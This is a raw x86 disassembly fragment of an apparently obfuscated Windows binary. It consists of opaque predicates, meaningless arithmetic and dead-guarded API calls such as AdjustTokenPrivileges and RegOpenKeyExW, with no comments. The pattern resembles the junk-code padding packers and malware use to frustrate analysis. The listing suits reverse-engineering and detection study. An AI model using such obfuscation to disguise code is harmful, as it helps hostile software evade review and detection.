mov dword [ebp + ecx - 0x2018], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2018], 0
jg 0x46e389
mov dword [ebp - 0x8c4], 0
jmp 0x46e1d8
mov eax, dword [ebp - 0x8c4]
inc eax
mov dword [ebp - 0x8c4], eax
cmp dword [ebp - 0x8c4], 3
jge 0x46e1f4
mov eax, dword [ebp - 0x8c4]
mov dword [ebp + eax*4 - 0x30e0], 0xffffffff
jmp 0x46e1cb
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2018]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2018]
mov ecx, dword [ebp + ecx*4 - 0x2bc]
cmp dword [ebp + eax*4 - 0x2bc], ecx
jge 0x46e22a
mov dword [ebp - 0xe3c], 1
jmp 0x46e231
and dword [ebp - 0xe3c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2018]
cmp dword [ebp + eax*4 - 0x2bc], 0
je 0x46e2dd
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2018]
mov ecx, dword [ebp + ecx*4 - 0x2bc]
cmp dword [ebp + eax - 0x2bc], ecx
jl 0x46e27b
mov dword [ebp - 0x1c4c], 1
jmp 0x46e282
and dword [ebp - 0x1c4c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x30e0]
cmp dword [ebp - 0x1c4c], eax
jle 0x46e2a2
mov dword [ebp - 0xe2c], 1
jmp 0x46e2a9
and dword [ebp - 0xe2c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xe2c]
sub ecx, dword [ebp + eax - 0x30e0]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x2018]
jl 0x46e2d6
mov dword [ebp - 0x1c54], 1
jmp 0x46e2dd
and dword [ebp - 0x1c54], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2018]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2018]
cmp dword [ebp + eax*4 - 0x2bc], ecx
jl 0x46e30c
mov dword [ebp - 0xe34], 1
jmp 0x46e313
and dword [ebp - 0xe34], 0
mov eax, dword [ebp - 0x24dc]
cmp dword [ebp - 0xe34], eax
jle 0x46e32d
mov dword [ebp - 0x1c5c], 1
jmp 0x46e334
and dword [ebp - 0x1c5c], 0
cmp dword [ebp - 0x1c5c], 0
jne 0x46e349
mov dword [ebp - 0x1c64], 1
jmp 0x46e350
and dword [ebp - 0x1c64], 0
mov eax, dword [ebp - 0xe3c]
cmp eax, dword [ebp - 0x1c64]
je 0x46e36a
mov dword [ebp - 0xe44], 1
jmp 0x46e371
and dword [ebp - 0xe44], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe44]
mov dword [ebp + eax - 0x2bc], ecx
jmp 0x46e190
mov eax, dword [ebp - 0x1c6c]
inc eax
mov dword [ebp - 0x1c6c], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [ebp - 0x70c], 0x20624039
mov byte [ebp - 0x2ae], 0
movzx eax, byte [ebp - 0x2ae]
test eax, eax
je 0x46e3ce
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
mov dword [ebp - 0x70c], 0
jmp 0x46e3e7
mov eax, dword [ebp - 0x70c]
dec eax
mov dword [ebp - 0x70c], eax
cmp dword [ebp - 0x70c], 0xffffffe8
jne 0x46e412
mov byte [ebp - 0x273], 0
movzx eax, byte [ebp - 0x273]
test eax, eax
je 0x46e410
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
jmp 0x46e3da
cmp dword [ebp - 0x534], 0
jg 0x46e545
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xcac], 0
je 0x46e531
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcac]
add eax, dword [ebp - 0x5dc]
je 0x46e462
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xcac], 0
je 0x46e462
mov dword [ebp - 0xe4c], 1
jmp 0x46e469
and dword [ebp - 0xe4c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xcac]
cmp eax, dword [ebp - 0xe4c]
jl 0x46e489
mov dword [ebp - 0x1c74], 1
jmp 0x46e490
and dword [ebp - 0x1c74], 0
mov eax, dword [ebp - 0x1c74]
mov dword [ebp - 0xaa4], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xcac]
cmp dword [ebp - 0xaa4], eax
jne 0x46e4bc
mov dword [ebp - 0xe54], 1
jmp 0x46e4c3
and dword [ebp - 0xe54], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x27c8]
cmp dword [ebp - 0xe54], eax
jge 0x46e4ea
cmp dword [ebp - 0xaa4], 0
jne 0x46e4ea
and dword [ebp - 0x1c7c], 0
jmp 0x46e4f4
mov dword [ebp - 0x1c7c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x27c8]
cmp dword [ebp - 0x1c7c], eax
jle 0x46e515
mov dword [ebp - 0xe5c], 1
jmp 0x46e51c
and dword [ebp - 0xe5c], 0
cmp dword [ebp - 0xe5c], 0xfffffff6
jge 0x46e531
mov dword [ebp - 0x1c84], 1
jmp 0x46e538
and dword [ebp - 0x1c84], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x27c8]
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xcac], 1
jne 0x46e560
mov dword [ebp - 0xe64], 1
jmp 0x46e567
and dword [ebp - 0xe64], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcac]
cmp dword [ebp - 0xe64], eax
je 0x46e588
mov dword [ebp - 0x1c8c], 1
jmp 0x46e58f
and dword [ebp - 0x1c8c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xcac]
cmp dword [ebp - 0x1c8c], eax
jg 0x46e5af
mov dword [ebp - 0xe6c], 1
jmp 0x46e5b6
and dword [ebp - 0xe6c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x27c8]
cmp dword [ebp - 0xe6c], eax
jne 0x46e5d7
mov dword [ebp - 0x1c94], 1
jmp 0x46e5de
and dword [ebp - 0x1c94], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcac]
cmp dword [ebp - 0x1c94], eax
jl 0x46e5ff
mov dword [ebp - 0xe74], 1
jmp 0x46e606
and dword [ebp - 0xe74], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xe74]
sub ecx, dword [ebp + eax - 0xcac]
mov dword [ebp - 0x24e4], ecx
jmp 0x46d3eb
mov dword [ebp - 0x2c4], 1
mov dword [ebp - 0x53c], 0x3585ca25
mov dword [ebp - 0x2d74], 0x366e5232
mov dword [ebp - 0x8cc], 0
jmp 0x46e65a
mov eax, dword [ebp - 0x8cc]
inc eax
mov dword [ebp - 0x8cc], eax
cmp dword [ebp - 0x8cc], 1
jge 0x46e676
mov eax, dword [ebp - 0x8cc]
mov dword [ebp + eax*4 - 0xb4], 0xfffffffe
jmp 0x46e64d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xb4], 0xa
jmp 0x46e6a4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xb4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb4], 0xfffffff9
jl 0x46e8be
mov dword [ebp - 0x664], 0xea5223fa
mov dword [ebp - 0xe7c], 6
push 2
lea ecx, [ebp - 0x2b3c]
call fcn.00430131
mov dword [ebp - 0x714], 0
jmp 0x46e6f2
mov eax, dword [ebp - 0x714]
inc eax
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 2
jge 0x46e714
push dword [ebp - 0x714]
lea ecx, [ebp - 0x2b3c]
call fcn.0043021f
mov dword [eax], 0x526c7153
jmp 0x46e6e5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb4], 0
jne 0x46e892
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb4], 0
je 0x46e84e
cmp dword [ebp - 0x664], 0
je 0x46e826
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
add eax, dword [ebp - 0x664]
je 0x46e773
cmp dword [ebp - 0x664], 0
je 0x46e773
mov dword [ebp - 0x1c9c], 1
jmp 0x46e77a
and dword [ebp - 0x1c9c], 0
mov eax, dword [ebp - 0x1c9c]
dec eax
mov dword [ebp - 0xe7c], eax
je 0x46e7a5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb4], 0
je 0x46e7a5
mov dword [ebp - 0x24ec], 1
jmp 0x46e7ac
and dword [ebp - 0x24ec], 0
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x2d7c], eax
push 0
lea ecx, [ebp - 0x2b3c]
call fcn.0043021f
mov dword [eax], 0xfffffffc
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb4], 0xfffffffc
jl 0x46e7e7
mov dword [ebp - 0x1ca4], 1
jmp 0x46e7ee
and dword [ebp - 0x1ca4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
imul eax, dword [ebp - 0x1ca4]
cmp dword [ebp - 0x664], eax
jge 0x46e81a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb4], 0
je 0x46e826
mov dword [ebp - 0xe84], 1
jmp 0x46e82d
and dword [ebp - 0xe84], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
cmp dword [ebp - 0xe84], eax
jg 0x46e84e
mov dword [ebp - 0x1cac], 1
jmp 0x46e855
and dword [ebp - 0x1cac], 0
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x1cac], eax
je 0x46e86f
mov dword [ebp - 0xe8c], 1
jmp 0x46e876
and dword [ebp - 0xe8c], 0
mov eax, dword [ebp - 0x2c4]
add eax, dword [ebp - 0xe8c]
cmp eax, 0xb236728a
jne 0x46e892
and dword [ebp - 0x1cb4], 0
jmp 0x46e89c
mov dword [ebp - 0x1cb4], 1
mov eax, dword [ebp - 0x1cb4]
sub eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x53c], eax
lea ecx, [ebp - 0x2b3c]
call fcn.00430203
jmp 0x46e689
mov dword [ebp - 0x53c], 0x15
jmp 0x46e8d7
mov eax, dword [ebp - 0x53c]
dec eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 2
je 0x46e984
mov dword [ebp - 0x2d84], 0xd4
mov dword [ebp - 0xe94], 0xdc4b636
mov dword [ebp - 0x8d4], 0
jmp 0x46e911
mov eax, dword [ebp - 0x8d4]
inc eax
mov dword [ebp - 0x8d4], eax
cmp dword [ebp - 0x8d4], 2
jge 0x46e92d
mov eax, dword [ebp - 0x8d4]
mov dword [ebp + eax*4 - 0x3518], 0xffffffff
jmp 0x46e904
mov eax, dword [ebp - 0xe94]
dec eax
mov dword [ebp - 0xe94], eax
mov dword [ebp - 0x2c4], 0xfffffffb
jmp 0x46e953
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x31
jg 0x46e97f
mov byte [ebp - 0x3db], 0
movzx eax, byte [ebp - 0x3db]
test eax, eax
je 0x46e97d
push 0
push 0x107a
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp 0x46e946
jmp 0x46e8ca
mov dword [ebp - 0x5dc], 0
jmp 0x46e99d
mov eax, dword [ebp - 0x5dc]
inc eax
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 0x38
jl 0x46f5ee
push 3
lea ecx, [ebp - 0x27e0]
call fcn.00430131
mov dword [ebp - 0x8dc], 0x8a1f9496
mov dword [ebp - 0x71c], 0
jmp 0x46e9da
mov eax, dword [ebp - 0x71c]
inc eax
mov dword [ebp - 0x71c], eax
cmp dword [ebp - 0x71c], 3
jge 0x46e9fc
push dword [ebp - 0x71c]
lea ecx, [ebp - 0x27e0]
call fcn.0043021f
mov dword [eax], 1
jmp 0x46e9cd
mov byte [ebp - 0x275], 0
movzx eax, byte [ebp - 0x275]
test eax, eax
je 0x46ea19
push 0x1496
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [ebp - 0x8dc], 0
jmp 0x46ea32
mov eax, dword [ebp - 0x8dc]
inc eax
mov dword [ebp - 0x8dc], eax
cmp dword [ebp - 0x8dc], 2
jg 0x46eba5
mov dword [ebp - 0x724], 0xffffffff
mov byte [ebp - 0x395], 0
movzx eax, byte [ebp - 0x395]
test eax, eax
je 0x46ea6d
push 0x1ec4
push 0x1932
push 0
call dword [sym.imp.USER32.dll_InflateRect]
mov dword [ebp - 0x724], 0
jmp 0x46ea86
mov eax, dword [ebp - 0x724]
inc eax
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 2
jg 0x46eba0
mov dword [ebp - 0x8e4], 0x4bc662a2
mov dword [ebp - 0x8e4], 0
jmp 0x46eab6
mov eax, dword [ebp - 0x8e4]
inc eax
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x8e4], 2
jg 0x46eb81
mov dword [ebp - 0x72c], 0xd44ad374
mov dword [ebp - 0x72c], 0
jmp 0x46eae6
mov eax, dword [ebp - 0x72c]
inc eax
mov dword [ebp - 0x72c], eax
cmp dword [ebp - 0x72c], 2
jg 0x46eb7c
mov dword [ebp - 0x8ec], 3
mov dword [ebp - 0x8ec], 0
jmp 0x46eb16
mov eax, dword [ebp - 0x8ec]
inc eax
mov dword [ebp - 0x8ec], eax
cmp dword [ebp - 0x8ec], 2
jg 0x46eb77
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x46c], 2
jmp 0x46eb42
mov eax, dword [ebp - 0x46c]
dec eax
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0
jl 0x46eb75
push dword [ebp - 0x46c]
lea ecx, [ebp - 0x27e0]
call fcn.0043021f
mov esi, eax
push dword [ebp - 0x46c]
lea ecx, [ebp - 0x27e0]
call fcn.0043021f
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x46eb35
jmp 0x46eb09
jmp 0x46ead9
jmp 0x46eaa9
mov byte [ebp - 0x277], 0
movzx eax, byte [ebp - 0x277]
test eax, eax
je 0x46eb9b
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
jmp 0x46ea79
jmp 0x46ea25
lea ecx, [ebp - 0x27e0]
call fcn.00430203
push 3
lea ecx, [ebp - 0x6a8]
call fcn.00430131
mov dword [ebp - 0x8c], 0xfffffffb
mov dword [ebp - 0xefc], 0
mov dword [ebp - 0x252c], 0xadff402e
mov dword [ebp - 0x208], 0
jmp 0x46ebf4
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 3
jge 0x46ec16
push dword [ebp - 0x208]
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
mov dword [eax], 0x4778
jmp 0x46ebe7
mov dword [ebp - 0x208], 0
jmp 0x46ec2f
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 3
jge 0x46ec4b
mov eax, dword [ebp - 0x208]
mov dword [ebp + eax*4 - 0x3440], 0
jmp 0x46ec22
mov dword [ebp - 0x8c], 2
jmp 0x46ec64
mov eax, dword [ebp - 0x8c]
dec eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x46f337
mov dword [ebp - 0xfc], 0xade2167f
mov dword [ebp - 0x8f4], 0xc0c8fbfc
mov dword [ebp - 0xfc], 2
jmp 0x46ec9e
mov eax, dword [ebp - 0xfc]
dec eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jl 0x46ecca
mov byte [ebp - 0x3dd], 0
movzx eax, byte [ebp - 0x3dd]
test eax, eax
je 0x46ecc8
push 0
push 0x1283
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
jmp 0x46ec91
mov dword [ebp - 0xfc], 2
jmp 0x46ece3
mov eax, dword [ebp - 0xfc]
dec eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jl 0x46f332
mov dword [ebp - 0x2cc], 0x11151
mov dword [ebp - 0x2dc], 0x3dc99cdf
mov dword [ebp - 0x24fc], 0
mov dword [ebp - 0x251c], 0xffffffff
mov dword [ebp - 0x2cc], 0
jmp 0x46ed31
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 2
jg 0x46f32d
push 2
lea ecx, [ebp - 0xc50]
call fcn.00430131
mov dword [ebp - 0x2700], 4
mov dword [ebp - 0x26fc], 4
mov dword [ebp - 0x26f8], 4
mov dword [ebp - 0x26f4], 4
mov dword [ebp - 0x1d0c], 0xedbec151
mov dword [ebp - 0x734], 0
jmp 0x46ed96
mov eax, dword [ebp - 0x734]
inc eax
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 2
jge 0x46edb8
push dword [ebp - 0x734]
lea ecx, [ebp - 0xc50]
call fcn.0043021f
mov dword [eax], 0xfffffffe
jmp 0x46ed89
push 0
lea ecx, [ebp - 0xc50]
call fcn.0043021f
mov dword [eax], 2
jmp 0x46edf1
push 0
lea ecx, [ebp - 0xc50]
call fcn.0043021f
mov dword [ebp - 0x1cbc], eax
mov eax, dword [ebp - 0x1cbc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1cbc]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xc50]
call fcn.0043021f
cmp dword [eax], 0
jl 0x46f31d
mov dword [ebp - 0xeac], 0
mov dword [ebp - 0xebc], 0x351f4a1a
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
mov esi, eax
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
imul eax, dword [eax], 0xc3a0
cmp dword [esi], eax
je 0x46ef75
push 0
lea ecx, [ebp - 0xc50]
call fcn.0043021f
mov eax, dword [eax]
sub eax, dword [ebp - 0x8c]
mov dword [ebp - 0x8f4], eax
mov eax, dword [ebp - 0x8f4]
sub eax, 0x8bb
jne 0x46ee94
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
cmp dword [eax], 0
jne 0x46ee94
and dword [ebp - 0xe9c], 0
jmp 0x46ee9e
mov dword [ebp - 0xe9c], 1
cmp dword [ebp - 0xe9c], 0xfffe
jae 0x46eeb6
mov dword [ebp - 0x24f4], 1
jmp 0x46eebd
and dword [ebp - 0x24f4], 0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x2d8c], eax
mov eax, 0xbe26b5cf
cmp eax, 0x6c2e3a4c
jae 0x46eee1
mov dword [ebp - 0x1cc4], 1
jmp 0x46eee8
and dword [ebp - 0x1cc4], 0
mov eax, dword [ebp - 0x2cc]
cmp dword [ebp - 0x1cc4], eax
jl 0x46ef11
push 1
lea ecx, [ebp - 0xc50]
call fcn.0043021f
cmp dword [eax], 0
jne 0x46ef11
and dword [ebp - 0xea4], 0
jmp 0x46ef1b
mov dword [ebp - 0xea4], 1
mov eax, dword [ebp - 0xea4]
neg eax
cmp eax, dword [ebp - 0x24fc]
jne 0x46ef37
mov dword [ebp - 0x2504], 1
jmp 0x46ef3e
and dword [ebp - 0x2504], 0
mov dword [ebp - 0x2dc], 4
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x2d94], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x2d9c], eax
mov eax, 0xbb64
test eax, eax
je 0x46ef75
mov dword [ebp - 0x1ccc], 1
jmp 0x46ef7c
and dword [ebp - 0x1ccc], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1ccc]
mov dword [ebp + eax - 0x2700], ecx
mov dword [ebp - 0x2dc], 0
jmp 0x46efa8
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 2
jg 0x46f318
mov dword [ebp - 0x2d4], 0
cmp dword [ebp - 0x2cc], 0
je 0x46efcd
jmp 0x46f318
mov eax, dword [ebp - 0x1d0c]
cmp dword [ebp - 0x2d4], eax
jg 0x46efe7
mov dword [ebp - 0x250c], 1
jmp 0x46efee
and dword [ebp - 0x250c], 0
push 1
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
cmp dword [eax], 0
jne 0x46f02e
mov dword [ebp - 0xeac], 0x3a207b8a
mov esi, dword [ebp - 0xeac]
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
cmp esi, dword [eax]
jl 0x46f02e
and dword [ebp - 0x1cd4], 0
jmp 0x46f038
mov dword [ebp - 0x1cd4], 1
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0x1cd4], eax
jne 0x46f052
mov dword [ebp - 0xeb4], 1
jmp 0x46f059
and dword [ebp - 0xeb4], 0
push 0
lea ecx, [ebp - 0xc50]
call fcn.0043021f
mov ecx, dword [ebp - 0xeb4]
cmp ecx, dword [eax]
jne 0x46f07c
mov dword [ebp - 0x1cdc], 1
jmp 0x46f083
and dword [ebp - 0x1cdc], 0
mov eax, dword [ebp - 0x1cdc]
mov dword [ebp - 0xebc], eax
mov eax, dword [ebp - 0xebc]
add eax, 0x486d4d4
je 0x46f0af
push 6
pop eax
test eax, eax
je 0x46f0af
mov dword [ebp - 0x1ce4], 1
jmp 0x46f0b6
and dword [ebp - 0x1ce4], 0
push 0
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
mov ecx, dword [ebp - 0x1ce4]
imul ecx, dword [eax]
sub ecx, dword [ebp - 0x8c]
jne 0x46f0e6
cmp dword [ebp - 0x2d4], 0
jne 0x46f0e6
and dword [ebp - 0xec4], 0
jmp 0x46f0f0
mov dword [ebp - 0xec4], 1
mov eax, dword [ebp - 0x2cc]
cmp dword [ebp - 0xec4], eax
jle 0x46f10a
mov dword [ebp - 0x1cec], 1
jmp 0x46f111
and dword [ebp - 0x1cec], 0
mov eax, dword [ebp - 0x1cec]
sub eax, dword [ebp - 0x2d4]
cmp eax, 0x6df4
je 0x46f130
mov dword [ebp - 0xecc], 1
jmp 0x46f137
and dword [ebp - 0xecc], 0
push 1
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
mov ecx, dword [ebp - 0xecc]
cmp ecx, dword [eax]
jle 0x46f15a
mov dword [ebp - 0x1cf4], 1
jmp 0x46f161
and dword [ebp - 0x1cf4], 0
cmp dword [ebp - 0x1cf4], 0x286
je 0x46f182
cmp dword [ebp - 0x8f4], 0
je 0x46f182
mov dword [ebp - 0xed4], 1
jmp 0x46f189
and dword [ebp - 0xed4], 0
cmp dword [ebp - 0xed4], 0xe27d
jle 0x46f1a1
mov dword [ebp - 0x1cfc], 1
jmp 0x46f1a8
and dword [ebp - 0x1cfc], 0
cmp dword [ebp - 0x1cfc], 0x1b27
jge 0x46f1c0
mov dword [ebp - 0xedc], 1
jmp 0x46f1c7
and dword [ebp - 0xedc], 0
cmp dword [ebp - 0xedc], 0x79b1000b
je 0x46f1df
mov dword [ebp - 0x1d04], 1
jmp 0x46f1e6
and dword [ebp - 0x1d04], 0
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0x1d04], eax
jl 0x46f200
mov dword [ebp - 0xee4], 1
jmp 0x46f207
and dword [ebp - 0xee4], 0
mov eax, dword [ebp - 0x2d4]
add eax, dword [ebp - 0xee4]
cmp eax, dword [ebp - 0x1d0c]
jle 0x46f227
mov dword [ebp - 0xeec], 1
jmp 0x46f22e
and dword [ebp - 0xeec], 0
cmp dword [ebp - 0xeec], 0xd591
jg 0x46f246
mov dword [ebp - 0x1d14], 1
jmp 0x46f24d
and dword [ebp - 0x1d14], 0
push 1
lea ecx, [ebp - 0xc50]
call fcn.0043021f
mov esi, dword [ebp - 0x1d14]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0xc50]
call fcn.0043021f
cmp esi, dword [eax]
jle 0x46f289
cmp dword [ebp - 0xfc], 0
je 0x46f289
mov dword [ebp - 0x2514], 1
jmp 0x46f290
and dword [ebp - 0x2514], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2700]
mov dword [ebp - 0x2da4], eax
push 4
pop eax
imul eax, eax, 3
mov esi, dword [ebp + eax - 0x2700]
push 0
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
cmp esi, dword [eax]
jle 0x46f2d6
cmp dword [ebp - 0x8f4], 0
je 0x46f2d6
mov dword [ebp - 0xef4], 1
jmp 0x46f2dd
and dword [ebp - 0xef4], 0
mov eax, dword [ebp - 0x2d4]
add eax, dword [ebp - 0xef4]
je 0x46f300
cmp dword [ebp - 0x2dc], 0
je 0x46f300
mov dword [ebp - 0x1d1c], 1
jmp 0x46f307
and dword [ebp - 0x1d1c], 0
mov eax, dword [ebp - 0x1d1c]
mov dword [ebp - 0x251c], eax
jmp 0x46ef9b
jmp 0x46edcd
lea ecx, [ebp - 0xc50]
call fcn.00430203
jmp 0x46ed24
jmp 0x46ecd6
jmp 0x46ec57
mov dword [ebp - 0x8c], 0xfffffff7
mov esi, dword [ebp - 0x8c]
push 2
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
imul esi, dword [eax]
push 2
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
cmp dword [eax], esi
je 0x46f374
mov dword [ebp - 0x2524], 1
jmp 0x46f37b
and dword [ebp - 0x2524], 0
push 1
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
push 2
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
mov eax, dword [eax]
mov dword [ebp - 0xefc], eax
mov eax, dword [ebp - 0xefc]
mov dword [ebp - 0x252c], eax
push 2
lea ecx, [ebp - 0x6a8]
call fcn.0043021f
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x8c]
mov dword [ebp + eax - 0x3440], ecx
lea ecx, [ebp - 0x6a8]
call fcn.00430203
mov byte [ebp - 0x279], 0
movzx eax, byte [ebp - 0x279]
test eax, eax
je 0x46f5e9
mov dword [ebp - 0x544], 0x4cd45360
mov dword [ebp - 0x16c], 0
jmp 0x46f40c
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 2
jge 0x46f428
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x3550], 0xfffffff9
jmp 0x46f3ff
mov dword [ebp - 0x16c], 0
jmp 0x46f441
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 2
jge 0x46f45d
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x31a8], 0xfffffffa
jmp 0x46f434
mov dword [ebp - 0x544], 1
jmp 0x46f476
mov eax, dword [ebp - 0x544]
dec eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 0
jl 0x46f5af
push 2
lea ecx, [ebp - 0x2a94]
call fcn.00430131
mov dword [ebp - 0x73c], 0
jmp 0x46f4a9
mov eax, dword [ebp - 0x73c]
inc eax
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 2
jge 0x46f4cb
push dword [ebp - 0x73c]
lea ecx, [ebp - 0x2a94]
call fcn.0043021f
mov dword [eax], 0xe456
jmp 0x46f49c
cmp dword [ebp - 0x544], 0
je 0x46f53c
mov dword [ebp - 0x2534], 0xd3f7bf4
cmp dword [ebp - 0x2534], 0x443e
jge 0x46f4f6
mov dword [ebp - 0x1d24], 1
jmp 0x46f4fd
and dword [ebp - 0x1d24], 0
push 0
lea ecx, [ebp - 0x2a94]
call fcn.0043021f
mov ecx, dword [ebp - 0x1d24]
cmp ecx, dword [eax]
jl 0x46f520
mov dword [ebp - 0xf04], 1
jmp 0x46f527
and dword [ebp - 0xf04], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xf04]
mov dword [ebp + eax - 0x31a8], ecx
jmp 0x46f585
mov byte [ebp - 0x39d], 0
movzx eax, byte [ebp - 0x39d]
test eax, eax
je 0x46f55f
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov byte [ebp - 0x27b], 0
movzx eax, byte [ebp - 0x27b]
test eax, eax
je 0x46f585
push 0
push 0x578
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov byte [ebp - 0x3e9], 0
movzx eax, byte [ebp - 0x3e9]
test eax, eax
je 0x46f59f
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x2a94]
call fcn.00430203
jmp 0x46f469
mov byte [ebp - 0x27d], 0
movzx eax, byte [ebp - 0x27d]
test eax, eax
je 0x46f5d6
push 0
push 0
push 0x1c15
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 0
push 0x8c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
jmp 0x46e990
mov dword [ebp - 0x124], 0x754320e3
mov dword [ebp - 0x62c], 5
